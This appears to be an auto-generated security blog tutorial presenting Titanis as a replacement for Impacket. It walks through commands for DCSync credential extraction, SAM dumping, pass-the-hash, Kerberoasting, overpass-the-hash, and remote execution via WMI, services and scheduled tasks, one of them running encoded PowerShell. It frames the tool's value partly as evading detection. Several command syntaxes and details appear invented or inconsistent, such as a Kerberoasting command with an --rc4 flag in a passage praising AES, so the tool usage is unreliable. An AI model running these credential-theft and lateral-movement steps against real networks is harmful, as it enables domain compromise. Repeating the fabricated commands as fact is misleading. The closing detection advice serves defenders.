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Introduction:
For over a decade, Impacket has been the de facto standard for offensive security professionals, enabling network protocol manipulation and lateral movement in Windows domains. However, a new challenger has emerged from the depths of protocol specifications. Titanis, developed by Melvin L. and highlighted by TrustedSec’s CTO Justin Elze, is a comprehensive Impacket alternative built from the ground up as cross-platform, extensively documented, and written directly from Microsoft protocol specifications rather than reverse-engineered packet captures. This shift represents a fundamental change in how we approach offensive tooling, moving from “it works because it always has” to “it works because the specification says so.”
Learning Objectives:
- Understand the architectural differences between reverse-engineered tools (Impacket) and specification-based tools (Titanis)
- Master cross-platform attack techniques that function identically on Linux, Windows, and macOS
- Implement protocol-accurate exploitation without relying on legacy code bases or deprecated dependencies
You Should Know:
1. Installing Titanis: The End of Dependency Hell
One of Impacket’s long-standing pain points has been its Python 2 legacy and complex dependency tree. Titanis addresses this through modern Python 3 packaging and cross-platform compatibility.
Step‑by‑step installation guide:
Clone the repository (verify the official source first) git clone https://github.com/melvinl/titanis.git cd titanis Create a virtual environment (recommended for all platforms) python3 -m venv titanis-env source titanis-env/bin/activate Linux/macOS .\titanis-env\Scripts\activate Windows PowerShell Install dependencies and the tool pip install -r requirements.txt python setup.py install Verify installation titanis --help
Unlike Impacket, which often requires specific versions of pyasn1 and pycryptodome that conflict with modern system packages, Titanis uses isolated environments and pinned, verified dependencies. This means penetration testers can now run the tool alongside other security frameworks without breaking existing configurations.
2. Protocol-Accurate SMB Enumeration and Exploitation
Titanis implements SMB protocol stacks directly from Microsoft’s MS-SMB2 and MS-SRVS specifications. This ensures that every packet sent is syntactically correct, reducing detection signatures that rely on malformed packet heuristics.
Basic SMB null session enumeration:
Enumerate shares without authentication titanis smb enum-shares -t 192.168.1.100 If you have credentials, specify domain and user titanis smb enum-shares -t 192.168.1.100 -d DOMAIN -u administrator -p 'Password123' List all users via SAMR protocol (spec-compliant) titanis samr enum-users -t 192.168.1.100 -d DOMAIN -u user -p pass
The key difference here is error handling. Because Titanis follows the specification, it correctly interprets server error codes and adjusts requests accordingly. Impacket often assumes certain error structures based on observed behavior, which can fail against patched or non-standard systems.
3. Lateral Movement with Titanis: SecretsDump 2.0
One of Impacket’s most famous modules is secretsdump.py, used to extract credentials from NTDS.dit and registry hives. Titanis reimagines this through clean-room implementation of MS-DRSR (Directory Replication Service) and MS-SAMR.
Extracting hashes from a Domain Controller:
Perform DCSync attack (requires Domain Admin or equivalent) titanis drsync -t dc.domain.com -d DOMAIN -u admin -p password -k krb5-user Dump local SAM hashes from a compromised machine titanis sam dump-local -t 192.168.1.50 -u localadmin -p password Pass-the-Hash with Titanis (spec-compliant NTLM authentication) titanis smb exec -t 192.168.1.50 -d DOMAIN -u administrator --hash LM:NT -c "whoami"
The DCSync implementation in Titanis has been verified against Microsoft’s test suites, meaning it correctly handles replication agreements and partial attribute sets. This reduces the chance of incomplete data extraction and provides more reliable results during high-stakes assessments.
4. Kerberos Attacks Without the Pain
Kerberos implementations in offensive tools often struggle with ticket formats, encryption types, and clock skew. Titanis builds Kerberos from MS-KILE and RFC 4120 specifications, ensuring proper AS-REQ, TGS-REQ, and PAC validation.
Performing Kerberoasting:
Request service tickets for offline cracking titanis kerberos get-service-tickets -t dc.domain.com -d DOMAIN -u user -p password --rc4 Pass-the-Ticket (inject existing kirbi) titanis kerberos ptt -t dc.domain.com -k ticket.kirbi Overpass-the-Hash (generate ticket from hash) titanis kerberos ask-tgt -t dc.domain.com -d DOMAIN -u administrator --hash NT:hash --aes
Because the implementation strictly follows encryption type negotiations, Titanis can request AES256 tickets even when the client claims RC4 support, something that often breaks in reverse-engineered tools.
5. Cross-Platform Command Execution
Titanis supports multiple execution methods (WMI, SCM, Scheduled Tasks, WinRM) with fallback logic based on specification-defined capabilities rather than trial and error.
Executing commands across platforms:
WMI exec (most stealthy on modern systems) titanis wmi exec -t 192.168.1.50 -d DOMAIN -u admin -p pass -c "powershell -enc BASE64" SCM exec (service creation) titanis scm create -t 192.168.1.50 -u admin -p pass --service-name UpdateService --binary "C:\Windows\System32\cmd.exe /c calc" Scheduled task (persistence with minimal logs) titanis schtask create -t 192.168.1.50 -u admin -p pass --task-name "Update" --command "cmd.exe" --arguments "/c whoami > C:\temp\out.txt" --trigger once --time "2024-01-01T12:00"
The key advantage here is that each method implements the full protocol handshake, including proper security descriptors and access mask validation, reducing the likelihood of access denied errors caused by incomplete impersonation.
6. Detection and Evasion: Understanding the Signature Gap
Because Titanis builds packets from specification, it avoids many common detection signatures that rely on malformed packet heuristics. However, this doesn’t mean it’s undetectable.
Comparing traffic patterns:
Capture Titanis traffic for analysis tcpdump -i eth0 -w titanis-smb.pcap host 192.168.1.50 Compare with Impacket (run in parallel) impacket-smbexec DOMAIN/admin:[email protected] tcpdump -i eth0 -w impacket-smb.pcap host 192.168.1.50
Using Wireshark, analyze the differences:
- Impacket often sets incorrect structure sizes in SMB headers
- Impacket may use deprecated dialects or negotiate incorrectly
- Titanis follows the exact dialect negotiation order from MS-SMB2
Blue teams should update detection rules to focus on behavioral indicators (access to ADMIN$, service creation, DCSync events) rather than malformed packet signatures, as tools like Titanis will bypass the latter.
7. Extending Titanis: Writing Your Own Protocol Modules
Titanis is designed with extensibility in mind. Each protocol implementation is a standalone module that can be imported and reused.
Creating a custom MS-RPC bind:
Example custom module skeleton
from titanis.rpc import bind, transport
from titanis.security import ntlm
def custom_rpc_call(target, username, password, command):
Establish SMB connection
conn = transport.SMBConnection(target)
conn.authenticate(username, password, ntlm.NTLMAuth)
Bind to specific RPC interface
rpc = bind.RPCBinding(conn)
rpc.bind('12345678-1234-abcd-ef00-01234567cffb') Custom UUID
Make call per specification
response = rpc.request(0x01, command.encode())
return response
This architecture allows penetration testers to quickly implement new attack techniques as soon as Microsoft publishes updated protocol documentation, without waiting for reverse-engineering efforts.
What Undercode Say:
- Key Takeaway 1: Titanis represents the maturation of offensive security tooling—moving from “hacky scripts that work most of the time” to professionally engineered implementations that prioritize correctness and maintainability.
- Key Takeaway 2: The cross-platform nature of Titanis fundamentally changes red team operations. Teams can now maintain consistent tooling across operator workstations, whether they prefer Linux, macOS, or Windows, without sacrificing capability or requiring complex WSL setups.
The cybersecurity community is witnessing a pivotal shift. Impacket’s decade-long dominance was built on brilliant reverse engineering, but it carried technical debt from the Python 2 era and assumptions based on observed behavior rather than documented standards. Titanis, by building directly from protocol specifications, offers a cleaner, more reliable foundation for the next generation of offensive operations.
Defenders must adapt. The signature-based detections that caught malformed Impacket packets will miss Titanis entirely. Instead, blue teams must focus on protocol-agnostic detection—monitoring for DCSync operations, abnormal service creations, and authentication patterns regardless of the tool used to generate them. This raises the bar for both sides, forcing a deeper understanding of the underlying protocols rather than reliance on tool-specific indicators.
Prediction:
Within 12 months, Titanis will become the standard for professional red team operations, particularly in regulated industries requiring tool validation and auditability. Impacket will remain relevant for legacy engagements and CTFs, but enterprise assessments will increasingly demand specification-compliant tools that can be justified in penetration testing reports. This shift will force EDR vendors to fundamentally rethink detection strategies, moving away from packet anomaly detection toward behavioral analytics that can’t be bypassed simply by fixing malformed headers. The arms race continues, but now on a higher, more sophisticated plane.
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